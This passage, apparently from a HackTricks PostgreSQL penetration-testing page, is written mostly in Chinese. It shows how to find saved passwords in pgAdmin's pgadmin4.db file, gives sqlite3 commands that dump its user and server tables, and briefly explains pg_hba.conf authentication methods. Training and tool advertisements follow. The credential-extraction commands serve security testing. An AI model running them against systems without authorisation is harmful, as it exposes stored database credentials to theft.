您可以在 _**pgadmin4.db**_ 文件中找到 **密码**。\
您可以使用脚本中的 _**decrypt**_ 函数对其进行解密:[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
### pg\_hba
PostgreSQL中的客户端身份验证通过一个名为**pg\_hba.conf**的配置文件进行管理。该文件包含一系列记录每条记录指定了连接类型、客户端IP地址范围如适用、数据库名称、用户名以及用于匹配连接的身份验证方法。第一个匹配连接类型、客户端地址、请求的数据库和用户名的记录将用于身份验证。如果身份验证失败则没有后备或备份。如果没有记录匹配则拒绝访问。
在pg\_hba.conf中可用的基于密码的身份验证方法有**md5**、**crypt**和**password**。这些方法在密码传输方式上有所不同MD5哈希、加密或明文。需要注意的是crypt方法不能与在pg\_authid中加密的密码一起使用。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}